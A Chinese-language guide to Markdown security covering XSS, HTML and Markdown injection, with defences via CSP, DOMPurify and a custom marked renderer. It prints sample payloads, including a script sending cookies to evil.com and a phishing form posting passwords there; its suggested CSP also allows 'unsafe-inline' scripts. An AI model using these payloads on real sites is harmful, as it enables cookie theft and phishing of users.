Skip to content

Markdown 安全最佳實踐

雖然 Markdown 看起來是純文字,但不當的處理可能導致嚴重的安全漏洞。本指南將教你如何安全地處理 Markdown 內容。

常見安全威脅

1. XSS (跨站腳本攻擊)

Markdown 允許嵌入 HTML,這可能被利用來注入惡意腳本:

markdown
<!-- 危險:未清理的 HTML -->
<script>
  // 竊取 cookies
  fetch('https://evil.com/steal?data=' + document.cookie);
</script>

<img src="x" onerror="alert('XSS')">

<a href="javascript:alert('XSS')">點擊我</a>

2. HTML 注入

即使沒有 JavaScript,惡意 HTML 也可能造成傷害:

markdown
<!-- 釣魚攻擊 -->
<form action="https://evil.com/phish" method="POST">
  <input type="password" name="password" placeholder="輸入密碼">
  <button>登入</button>
</form>

<!-- 視覺欺騙 -->
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;">
  假冒的登入頁面
</div>

3. Markdown 注入

攻擊者可能濫用 Markdown 語法:

markdown
<!-- 圖片洪水攻擊 -->
![](http://evil.com/track?user=victim)
![](http://evil.com/track?user=victim)
<!-- ... 重複數千次 -->

<!-- 消耗資源 -->
[連結](javascript:while(1){})

防護策略

1. 內容安全策略 (CSP)

實施嚴格的 CSP 頭:

html
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; 
               script-src 'self' 'unsafe-inline' https://trusted-cdn.com; 
               style-src 'self' 'unsafe-inline'; 
               img-src 'self' data: https:; 
               font-src 'self' https://fonts.gstatic.com;">

2. HTML 清理

使用專門的清理庫:

DOMPurify(瀏覽器端)

javascript
import DOMPurify from 'dompurify';
import marked from 'marked';

// 解析並清理
const dirty = marked.parse(userMarkdown);
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'code', 'pre'],
  ALLOWED_ATTR: ['href', 'title', 'class'],
  ALLOW_DATA_ATTR: false,
  FORBID_TAGS: ['script', 'style', 'iframe', 'form'],
  FORBID_ATTR: ['onerror', 'onclick', 'onload']
});

document.getElementById('output').innerHTML = clean;

3. 配置安全的 Markdown 解析器

Marked 安全配置

javascript
const marked = require('marked');

// 禁用 HTML
marked.setOptions({
  sanitize: false,  // 已棄用,使用 DOMPurify
  gfm: true,
  breaks: false,
  pedantic: false,
  smartLists: true,
  smartypants: false
});

// 自定義渲染器過濾危險內容
const renderer = {
  html(html) {
    // 完全阻止 HTML
    return '';
  },
  link(href, title, text) {
    // 只允許安全的協議
    const safeProtocols = ['http:', 'https:', 'mailto:'];
    try {
      const url = new URL(href);
      if (!safeProtocols.includes(url.protocol)) {
        return text;
      }
    } catch {
      return text;
    }
    
    return `<a href="${href}" title="${title || ''}" rel="noopener noreferrer" target="_blank">${text}</a>`;
  }
};

marked.use({ renderer });

安全檢查清單

部署前檢查

  • [ ] 啟用內容安全策略 (CSP)
  • [ ] 實施 HTML 清理(DOMPurify/sanitize-html)
  • [ ] 禁用或限制原始 HTML
  • [ ] 驗證所有 URL 和連結
  • [ ] 實施速率限制
  • [ ] 添加 CSRF 保護
  • [ ] 驗證文件上傳
  • [ ] 實施身份驗證和授權
  • [ ] 設置內容長度限制
  • [ ] 啟用 HTTPS
  • [ ] 配置安全的 HTTP 頭
  • [ ] 實施日誌和監控
  • [ ] 定期安全審計
  • [ ] 保持依賴更新

結論

Markdown 安全不容忽視。通過實施適當的清理、驗證、身份驗證和監控措施,你可以安全地處理用戶生成的 Markdown 內容,同時保護應用和用戶免受攻擊。

其他資源

由 Markdownlang.com 整理創建